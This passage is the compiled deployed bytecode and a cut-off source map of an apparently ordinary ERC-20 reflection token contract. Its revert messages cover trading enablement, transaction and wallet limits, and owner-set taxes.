60200160002060009054906101000a900460ff165b806119b85750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156119b75750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156119c65760009050611b4d565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611a715750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611a8957600854600c81905550600954600d819055505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b345750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611b4c57600a54600c81905550600b54600d819055505b5b611b5984848484611f16565b50505050565b6000838311158290611ba7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9e91906126d3565b60405180910390fd5b5060008385611bb6919061327f565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611c2b573d6000803e3d6000fd5b5050565b6000600654821115611c76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6d90613325565b60405180910390fd5b6000611c80611f43565b9050611c958184611f6e90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611cd557611cd4613345565b5b604051908082528060200260200182016040528015611d035781602001602082028036833780820191505090505b5090503081600081518110611d1b57611d1a612cb5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611dc2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611de69190613389565b81600181518110611dfa57611df9612cb5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e6130601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611165565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611ec59594939291906134af565b600060405180830381600087803b158015611edf57600080fd5b505af1158015611ef3573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b80611f2457611f23611fb8565b5b611f2f848484611ffb565b80611f3d57611f3c6121c6565b5b50505050565b6000806000611f506121da565b91509150611f678183611f6e90919063ffffffff16565b9250505090565b6000611fb083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612236565b905092915050565b6000600c54148015611fcc57506000600d54145b15611fd657611ff9565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061200d87612299565b95509550955095509550955061206b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461230190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061210085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461234b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061214c816123a9565b6121568483612466565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121b39190612892565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000662386f26fc10000905061220c662386f26fc10000600654611f6e90919063ffffffff16565b82101561222957600654662386f26fc10000935093505050612232565b81819350935050505b9091565b6000808311829061227d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227491906126d3565b60405180910390fd5b506000838561228c9190613538565b9050809150509392505050565b60008060008060008060008060006122b68a600c54600d546124a0565b92509250925060006122c6611f43565b905060008060006122d98e878787612536565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061234383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b5f565b905092915050565b600080828461235a9190613197565b90508381101561239f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612396906135b5565b60405180910390fd5b8091505092915050565b60006123b3611f43565b905060006123ca82846125bf90919063ffffffff16565b905061241e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461234b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61247b8260065461230190919063ffffffff16565b6006819055506124968160075461234b90919063ffffffff16565b6007819055505050565b6000806000806124cc60646124be888a6125bf90919063ffffffff16565b611f6e90919063ffffffff16565b905060006124f660646124e8888b6125bf90919063ffffffff16565b611f6e90919063ffffffff16565b9050600061251f82612511858c61230190919063ffffffff16565b61230190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061254f85896125bf90919063ffffffff16565b9050600061256686896125bf90919063ffffffff16565b9050600061257d87896125bf90919063ffffffff16565b905060006125a682612598858761230190919063ffffffff16565b61230190919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156125d25760009050612634565b600082846125e09190612c5b565b90508284826125ef9190613538565b1461262f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262690613647565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612674578082015181840152602081019050612659565b83811115612683576000848401525b50505050565b6000601f19601f8301169050919050565b60006126a58261263a565b6126af8185612645565b93506126bf818560208601612656565b6126c881612689565b840191505092915050565b600060208201905081810360008301526126ed818461269a565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061272a826126ff565b9050919050565b61273a8161271f565b811461274557600080fd5b50565b60008135905061275781612731565b92915050565b6000819050919050565b6127708161275d565b811461277b57600080fd5b50565b60008135905061278d81612767565b92915050565b600080604083850312156127aa576127a96126f5565b5b60006127b885828601612748565b92505060206127c98582860161277e565b9150509250929050565b60008115159050919050565b6127e8816127d3565b82525050565b600060208201905061280360008301846127df565b92915050565b6000819050919050565b600061282e612829612824846126ff565b612809565b6126ff565b9050919050565b600061284082612813565b9050919050565b600061285282612835565b9050919050565b61286281612847565b82525050565b600060208201905061287d6000830184612859565b92915050565b61288c8161275d565b82525050565b60006020820190506128a76000830184612883565b92915050565b6000806000606084860312156128c6576128c56126f5565b5b60006128d486828701612748565b93505060206128e586828701612748565b92505060406128f68682870161277e565b9150509250925092565b600060ff82169050919050565b61291681612900565b82525050565b6000602082019050612931600083018461290d565b92915050565b6129408161271f565b82525050565b600060208201905061295b6000830184612937565b92915050565b61296a816127d3565b811461297557600080fd5b50565b60008135905061298781612961565b92915050565b6000602082840312156129a3576129a26126f5565b5b60006129b184828501612978565b91505092915050565b6000602082840312156129d0576129cf6126f5565b5b60006129de84828501612748565b91505092915050565b6000602082840312156129fd576129fc6126f5565b5b6000612a0b8482850161277e565b91505092915050565b60008060008060808587031215612a2e57612a2d6126f5565b5b6000612a3c8782880161277e565b9450506020612a4d8782880161277e565b9350506040612a5e8782880161277e565b9250506060612a6f8782880161277e565b91505092959194509250565b60008060408385031215612a9257612a916126f5565b5b6000612aa08582860161277e565b9250506020612ab18582860161277e565b9150509250929050565b600080fd5b600080fd5b600080fd5b60008083601f840112612ae057612adf612abb565b5b8235905067ffffffffffffffff811115612afd57612afc612ac0565b5b602083019150836020820283011115612b1957612b18612ac5565b5b9250929050565b600080600060408486031215612b3957612b386126f5565b5b600084013567ffffffffffffffff811115612b5757612b566126fa565b5b612b6386828701612aca565b93509350506020612b7686828701612978565b9150509250925092565b60008060408385031215612b9757612b966126f5565b5b6000612ba585828601612748565b9250506020612bb685828601612748565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bf6602083612645565b9150612c0182612bc0565b602082019050919050565b60006020820190508181036000830152612c2581612be9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c668261275d565b9150612c718361275d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612caa57612ca9612c2c565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612cef8261275d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612d2257612d21612c2c565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612d89602683612645565b9150612d9482612d2d565b604082019050919050565b60006020820190508181036000830152612db881612d7c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612e1b602483612645565b9150612e2682612dbf565b604082019050919050565b60006020820190508181036000830152612e4a81612e0e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612ead602283612645565b9150612eb882612e51565b604082019050919050565b60006020820190508181036000830152612edc81612ea0565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612f3f602583612645565b9150612f4a82612ee3565b604082019050919050565b60006020820190508181036000830152612f6e81612f32565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612fd1602383612645565b9150612fdc82612f75565b604082019050919050565b6000602082019050818103600083015261300081612fc4565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613063602983612645565b915061306e82613007565b604082019050919050565b6000602082019050818103600083015261309281613056565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b60006130f5603f83612645565b915061310082613099565b604082019050919050565b60006020820190508181036000830152613124816130e8565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613161601c83612645565b915061316c8261312b565b602082019050919050565b6000602082019050818103600083015261319081613154565b9050919050565b60006131a28261275d565b91506131ad8361275d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131e2576131e1612c2c565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613249602383612645565b9150613254826131ed565b604082019050919050565b600060208201905081810360008301526132788161323c565b9050919050565b600061328a8261275d565b91506132958361275d565b9250828210156132a8576132a7612c2c565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061330f602a83612645565b915061331a826132b3565b604082019050919050565b6000602082019050818103600083015261333e81613302565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061338381612731565b92915050565b60006020828403121561339f5761339e6126f5565b5b60006133ad84828501613374565b91505092915050565b6000819050919050565b60006133db6133d66133d1846133b6565b612809565b61275d565b9050919050565b6133eb816133c0565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6134268161271f565b82525050565b6000613438838361341d565b60208301905092915050565b6000602082019050919050565b600061345c826133f1565b61346681856133fc565b93506134718361340d565b8060005b838110156134a2578151613489888261342c565b975061349483613444565b925050600181019050613475565b5085935050505092915050565b600060a0820190506134c46000830188612883565b6134d160208301876133e2565b81810360408301526134e38186613451565b90506134f26060830185612937565b6134ff6080830184612883565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006135438261275d565b915061354e8361275d565b92508261355e5761355d613509565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061359f601b83612645565b91506135aa82613569565b602082019050919050565b600060208201905081810360008301526135ce81613592565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613631602183612645565b915061363c826135d5565b604082019050919050565b6000602082019050818103600083015261366081613624565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203ad6f5d4b9ef3c914f63f4871af16a14c40ec51535c46e158274ab5fb20b5c8a64736f6c634300080b0033

Deployed Bytecode Sourcemap

4317:13113:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6720:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7645:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5566:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6997:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7846:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5868:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6906:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5614:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16107:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12319:143;;;;;;;;;;;;;:::i;:::-;;7100:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1804:148;;;;;;;;;;;;;:::i;:::-;;17018:163;;;;;;;;;;;;;:::i;:::-;;5764:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1590:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5815:46;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6811:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15916:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16321:429;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7246:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16758:250;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17191:234;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16236:77;;;;;;;;;;;;;:::i;:::-;;7453:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1960:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6720:83;6757:13;6790:5;;;;;;;;;;;;;;;;;6783:12;;6720:83;:::o;7645:193::-;7747:4;7769:39;7778:12;:10;:12::i;:::-;7792:7;7801:6;7769:8;:39::i;:::-;7826:4;7819:11;;7645:193;;;;:::o;5566:41::-;;;;;;;;;;;;;:::o;6997:95::-;7050:7;4860:16;7070:14;;6997:95;:::o;7846:446::-;7978:4;7995:36;8005:6;8013:9;8024:6;7995:9;:36::i;:::-;8042:220;8065:6;8086:12;:10;:12::i;:::-;8113:138;8169:6;8113:138;;;;;;;;;;;;;;;;;:11;:19;8125:6;8113:19;;;;;;;;;;;;;;;:33;8133:12;:10;:12::i;:::-;8113:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;8042:8;:220::i;:::-;8280:4;8273:11;;7846:446;;;;;:::o;5868:50::-;;;;:::o;6906:83::-;6947:5;4534:1;6965:16;;6906:83;:::o;5614:28::-;;;;;;;;;;;;;:::o;16107:101::-;1727:12;:10;:12::i;:::-;1717:22;;:6;;;;;;;;;;:22;;;1709:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16188:12:::1;16174:11;;:26;;;;;;;;;;;;;;;;;;16107:101:::0;:::o;12319:143::-;12361:26;12390:21;12361:50;;12422:32;12435:18;12422:12;:32::i;:::-;12350:112;12319:143::o;7100:138::-;7166:7;7193:37;7213:7;:16;7221:7;7213:16;;;;;;;;;;;;;;;;7193:19;:37::i;:::-;7186:44;;7100:138;;;:::o;1804:148::-;1727:12;:10;:12::i;:::-;1717:22;;:6;;;;;;;;;;:22;;;1709:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1911:1:::1;1874:40;;1895:6;::::0;::::1;;;;;;;;1874:40;;;;;;;;;;;;1942:1;1925:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1804:148::o:0;17018:163::-;17084:19;;;;;;;;;;;17068:35;;:12;:10;:12::i;:::-;:35;;;17060:45;;;;;;4860:16;17116:12;:22;;;;4860:16;17149:14;:24;;;;17018:163::o;5764:44::-;;;;:::o;1590:79::-;1628:7;1655:6;;;;;;;;;;;1648:13;;1590:79;:::o;5815:46::-;;;;:::o;6811:87::-;6850:13;6883:7;;;;;;;;;;;;;;;;;6876:14;;6811:87;:::o;15916:139::-;1727:12;:10;:12::i;:::-;1717:22;;:6;;;;;;;;;;:22;;;1709:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16029:18:::1;16007:19;:40;;;;15916:139:::0;:::o;16321:429::-;1727:12;:10;:12::i;:::-;1717:22;;:6;;;;;;;;;;:22;;;1709:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16472:13:::1;16455:14;:30;;;;16514:14;16496:15;:32;;;;16554:11;16539:12;:26;;;;16592:12;16576:13;:28;;;;16637:1;16623:13;:15;16615:24;;;::::0;::::1;;16673:1;16658:14;:16;16650:25;;;::::0;::::1;;16706:1;16694:11;:13;16686:22;;;::::0;::::1;;16740:1;16727:12;:14;16719:23;;;::::0;::::1;;16321:429:::0;;;;:::o;7246:199::-;7351:4;7373:42;7383:12;:10;:12::i;:::-;7397:9;7408:6;7373:9;:42::i;:::-;7433:4;7426:11;;7246:199;;;;:::o;16758:250::-;1727:12;:10;:12::i;:::-;1717:22;;:6;;;;;;;;;;:22;;;1709:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16872:5:::1;16858:11;:19;;;;:::i;:::-;16843:12;:34;;;;16917:5;16901:13;:21;;;;:::i;:::-;16884:14;:38;;;;16953:6;16941:11;:18;16933:27;;;::::0;::::1;;16993:6;16979:13;:20;16971:29;;;::::0;::::1;;16758:250:::0;;:::o;17191:234::-;1727:12;:10;:12::i;:::-;1717:22;;:6;;;;;;;;;;:22;;;1709:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;17308:9:::1;17304:114;17327:8;;:15;;17323:1;:19;17304:114;;;17398:8;17364:18;:31;17383:8;;17392:1;17383:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;17364:31;;;;;;;;;;;;;;;;:42;;;;;;;;;;;;;;;;;;17344:3;;;;;:::i;:::-;;;;17304:114;;;;17191:234:::0;;;:::o;16236:77::-;1727:12;:10;:12::i;:::-;1717:22;;:6;;;;;;;;;;:22;;;1709:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16301:4:::1;16287:11;;:18;;;;;;;;;;;;;;;;;;16236:77::o:0;7453:184::-;7570:7;7602:11;:18;7614:5;7602:18;;;;;;;;;;;;;;;:27;7621:7;7602:27;;;;;;;;;;;;;;;;7595:34;;7453:184;;;;:::o;1960:244::-;1727:12;:10;:12::i;:::-;1717:22;;:6;;;;;;;;;;:22;;;1709:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2069:1:::1;2049:22;;:8;:22;;;;2041:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;2159:8;2130:38;;2151:6;::::0;::::1;;;;;;;;2130:38;;;;;;;;;;;;2188:8;2179:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;1960:244:::0;:::o;349:98::-;402:7;429:10;422:17;;349:98;:::o;8983:369::-;9127:1;9110:19;;:5;:19;;;;9102:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9208:1;9189:21;;:7;:21;;;;9181:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9290:6;9260:11;:18;9272:5;9260:18;;;;;;;;;;;;;;;:27;9279:7;9260:27;;;;;;;;;;;;;;;:36;;;;9328:7;9312:32;;9321:5;9312:32;;;9337:6;9312:32;;;;;;:::i;:::-;;;;;;;;8983:369;;;:::o;9360:2353::-;9498:1;9482:18;;:4;:18;;;;9474:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9575:1;9561:16;;:2;:16;;;;9553:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9645:1;9636:6;:10;9628:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9717:7;:5;:7::i;:::-;9709:15;;:4;:15;;;;:32;;;;;9734:7;:5;:7::i;:::-;9728:13;;:2;:13;;;;9709:32;9705:1282;;;9798:11;;;;;;;;;;;9793:144;;9846:7;:5;:7::i;:::-;9838:15;;:4;:15;;;9830:91;;;;;;;;;;;;:::i;:::-;;;;;;;;;9793:144;9971:12;;9961:6;:22;;9953:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;10042:13;;;;;;;;;;;10036:19;;:2;:19;;;10033:146;;10109:14;;10100:6;10084:13;10094:2;10084:9;:13::i;:::-;:22;;;;:::i;:::-;:39;10076:87;;;;;;;;;;;;:::i;:::-;;;;;;;;;10033:146;10195:28;10226:24;10244:4;10226:9;:24::i;:::-;10195:55;;10265:12;10304:19;;10280:20;:43;;10265:58;;10387:2;10367:19;;:22;;;;:::i;:::-;10343:20;:46;10340:144;;10466:2;10446:19;;:22;;;;:::i;:::-;10423:45;;10340:144;10507:13;;;;;;;;;;;10501:19;;:2;:19;;;10498:60;;;4860:16;10530:14;;:25;;10522:34;;;;;;10498:60;10578:7;:18;;;;;10590:6;;;;;;;;;;;10589:7;10578:18;:43;;;;;10608:13;;;;;;;;;;;10600:21;;:4;:21;;;;10578:43;:58;;;;;10625:11;;;;;;;;;;;10578:58;:87;;;;;10641:18;:24;10660:4;10641:24;;;;;;;;;;;;;;;;;;;;;;;;;10640:25;10578:87;:114;;;;;10670:18;:22;10689:2;10670:22;;;;;;;;;;;;;;;;;;;;;;;;;10669:23;10578:114;10574:402;;;10713:38;10730:20;10713:16;:38::i;:::-;10770:26;10799:21;10770:50;;10864:17;10843:18;:38;10839:122;;;10906:35;10919:21;10906:12;:35::i;:::-;10839:122;10694:282;10574:402;9743:1244;;9705:1282;10999:12;11014:4;10999:19;;11063:18;:24;11082:4;11063:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;11091:18;:22;11110:2;11091:22;;;;;;;;;;;;;;;;;;;;;;;;;11063:50;11062:102;;;;11127:13;;;;;;;;;;;11119:21;;:4;:21;;;;:44;;;;;11150:13;;;;;;;;;;;11144:19;;:2;:19;;;;11119:44;11062:102;11058:594;;;11191:5;11181:15;;11058:594;;;11274:13;;;;;;;;;;;11266:21;;:4;:21;;;:55;;;;;11305:15;;;;;;;;;;;11291:30;;:2;:30;;;;11266:55;11263:162;;;11354:14;;11342:9;:26;;;;11397:12;;11387:7;:22;;;;11263:162;11484:13;;;;;;;;;;;11478:19;;:2;:19;;;:55;;;;;11517:15;;;;;;;;;;;11501:32;;:4;:32;;;;11478:55;11474:165;;;11566:15;;11554:9;:27;;;;11610:13;;11600:7;:23;;;;11474:165;11058:594;11664:41;11679:4;11685:2;11689:6;11697:7;11664:14;:41::i;:::-;9463:2250;9360:2353;;;:::o;2568:224::-;2688:7;2721:1;2716;:6;;2724:12;2708:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2748:9;2764:1;2760;:5;;;;:::i;:::-;2748:17;;2783:1;2776:8;;;2568:224;;;;;:::o;12212:99::-;12269:17;;;;;;;;;;;:26;;:34;12296:6;12269:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12212:99;:::o;8300:323::-;8395:7;8453;;8442;:18;;8420:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;8541:19;8563:10;:8;:10::i;:::-;8541:32;;8591:24;8603:11;8591:7;:11;;:24;;;;:::i;:::-;8584:31;;;8300:323;;;:::o;11721:483::-;6021:4;6012:6;;:13;;;;;;;;;;;;;;;;;;11799:21:::1;11837:1;11823:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11799:40;;11868:4;11850;11855:1;11850:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;11894:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11884:4;11889:1;11884:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;11927:62;11944:4;11959:15;;;;;;;;;;;11977:11;11927:8;:62::i;:::-;12000:15;;;;;;;;;;;:66;;;12081:11;12107:1;12123:4;12150;12170:15;12000:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;11788:416;6057:5:::0;6048:6;;:14;;;;;;;;;;;;;;;;;;11721:483;:::o;12472:282::-;12628:7;12623:28;;12637:14;:12;:14::i;:::-;12623:28;12662:44;12680:6;12688:9;12699:6;12662:17;:44::i;:::-;12722:7;12717:29;;12731:15;:13;:15::i;:::-;12717:29;12472:282;;;;:::o;15433:164::-;15475:7;15496:15;15513;15532:19;:17;:19::i;:::-;15495:56;;;;15569:20;15581:7;15569;:11;;:20;;;;:::i;:::-;15562:27;;;;15433:164;:::o;3054:132::-;3112:7;3139:39;3143:1;3146;3139:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;3132:46;;3054:132;;;;:::o;8631:219::-;8691:1;8678:9;;:14;:30;;;;;8707:1;8696:7;;:12;8678:30;8674:43;;;8710:7;;8674:43;8749:9;;8729:17;:29;;;;8787:7;;8769:15;:25;;;;8819:1;8807:9;:13;;;;8841:1;8831:7;:11;;;;8631:219;:::o;12762:610::-;12909:15;12939:23;12977:12;13004:23;13042:12;13069:13;13096:19;13107:7;13096:10;:19::i;:::-;12894:221;;;;;;;;;;;;13144:28;13164:7;13144;:15;13152:6;13144:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;13126:7;:15;13134:6;13126:15;;;;;;;;;;;;;;;:46;;;;13204:39;13227:15;13204:7;:18;13212:9;13204:18;;;;;;;;;;;;;;;;:22;;:39;;;;:::i;:::-;13183:7;:18;13191:9;13183:18;;;;;;;;;;;;;;;:60;;;;13254:16;13264:5;13254:9;:16::i;:::-;13281:23;13293:4;13299;13281:11;:23::i;:::-;13337:9;13320:44;;13329:6;13320:44;;;13348:15;13320:44;;;;;;:::i;:::-;;;;;;;;12883:489;;;;;;12762:610;;;:::o;8858:117::-;8914:17;;8902:9;:29;;;;8952:15;;8942:7;:25;;;;8858:117::o;15605:257::-;15656:7;15665;15685:15;15703:7;;15685:25;;15721:15;4860:16;15721:25;;15771:20;4860:16;15771:7;;:11;;:20;;;;:::i;:::-;15761:7;:30;15757:61;;;15801:7;;4860:16;15793:25;;;;;;;;15757:61;15837:7;15846;15829:25;;;;;;15605:257;;;:::o;3194:223::-;3314:7;3346:1;3342;:5;3349:12;3334:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;3373:9;3389:1;3385;:5;;;;:::i;:::-;3373:17;;3408:1;3401:8;;;3194:223;;;;;:::o;13791:615::-;13891:7;13913;13935;13957;13979;14001;14037:23;14062:12;14076:13;14106:40;14118:7;14127:9;;14138:7;;14106:11;:40::i;:::-;14036:110;;;;;;14157:19;14179:10;:8;:10::i;:::-;14157:32;;14201:15;14218:23;14243:12;14272:46;14284:7;14293:4;14299:5;14306:11;14272;:46::i;:::-;14200:118;;;;;;14337:7;14346:15;14363:4;14369:15;14386:4;14392:5;14329:69;;;;;;;;;;;;;;;;;;;13791:615;;;;;;;:::o;2424:136::-;2482:7;2509:43;2513:1;2516;2509:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;2502:50;;2424:136;;;;:::o;2237:179::-;2295:7;2315:9;2331:1;2327;:5;;;;:::i;:::-;2315:17;;2356:1;2351;:6;;2343:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;2407:1;2400:8;;;2237:179;;;;:::o;13380:211::-;13433:19;13455:10;:8;:10::i;:::-;13433:32;;13476:13;13492:22;13502:11;13492:5;:9;;:22;;;;:::i;:::-;13476:38;;13550:33;13577:5;13550:7